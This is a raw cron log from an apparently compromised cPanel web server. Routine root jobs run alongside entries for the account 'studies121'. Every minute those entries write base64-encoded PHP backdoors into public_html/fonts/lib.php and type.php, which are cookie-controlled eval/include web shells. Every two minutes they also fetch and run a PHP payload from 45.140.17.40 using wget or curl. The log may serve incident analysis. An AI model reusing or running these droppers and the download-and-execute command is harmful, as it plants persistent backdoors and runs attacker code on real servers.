Sep 21 10:30:01 ip-184-168-122-23 CROND[12542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:30:01 ip-184-168-122-23 CROND[12543]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 10:30:01 ip-184-168-122-23 CROND[12545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:31:02 ip-184-168-122-23 CROND[12704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:31:02 ip-184-168-122-23 CROND[12706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:31:02 ip-184-168-122-23 CROND[12707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:31:02 ip-184-168-122-23 CROND[12709]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 10:31:02 ip-184-168-122-23 CROND[12708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:32:01 ip-184-168-122-23 CROND[12834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:32:01 ip-184-168-122-23 CROND[12833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:32:01 ip-184-168-122-23 CROND[12835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:32:01 ip-184-168-122-23 CROND[12836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:32:01 ip-184-168-122-23 CROND[12837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:33:02 ip-184-168-122-23 CROND[12966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:33:02 ip-184-168-122-23 CROND[12967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:33:02 ip-184-168-122-23 CROND[12972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:33:02 ip-184-168-122-23 CROND[12971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:34:01 ip-184-168-122-23 CROND[13114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:34:01 ip-184-168-122-23 CROND[13116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:34:01 ip-184-168-122-23 CROND[13118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:34:01 ip-184-168-122-23 CROND[13117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:34:01 ip-184-168-122-23 CROND[13119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13353]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13361]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:35:01 ip-184-168-122-23 CROND[13365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:36:01 ip-184-168-122-23 CROND[13533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:36:01 ip-184-168-122-23 CROND[13536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:36:01 ip-184-168-122-23 CROND[13538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:36:01 ip-184-168-122-23 CROND[13535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:36:01 ip-184-168-122-23 CROND[13537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:37:01 ip-184-168-122-23 CROND[13656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:37:01 ip-184-168-122-23 CROND[13659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:37:01 ip-184-168-122-23 CROND[13658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:37:01 ip-184-168-122-23 CROND[13657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:38:01 ip-184-168-122-23 CROND[13905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:38:01 ip-184-168-122-23 CROND[13907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:38:01 ip-184-168-122-23 CROND[13909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:38:01 ip-184-168-122-23 CROND[13910]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:38:01 ip-184-168-122-23 CROND[13908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:39:01 ip-184-168-122-23 CROND[14060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:39:01 ip-184-168-122-23 CROND[14062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:39:01 ip-184-168-122-23 CROND[14063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:39:01 ip-184-168-122-23 CROND[14064]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 10:39:01 ip-184-168-122-23 CROND[14061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:40:01 ip-184-168-122-23 CROND[14209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:40:01 ip-184-168-122-23 CROND[14216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:41:01 ip-184-168-122-23 CROND[14350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:41:01 ip-184-168-122-23 CROND[14351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:41:01 ip-184-168-122-23 CROND[14349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:41:01 ip-184-168-122-23 CROND[14352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:42:01 ip-184-168-122-23 CROND[14493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:42:01 ip-184-168-122-23 CROND[14492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:42:01 ip-184-168-122-23 CROND[14496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
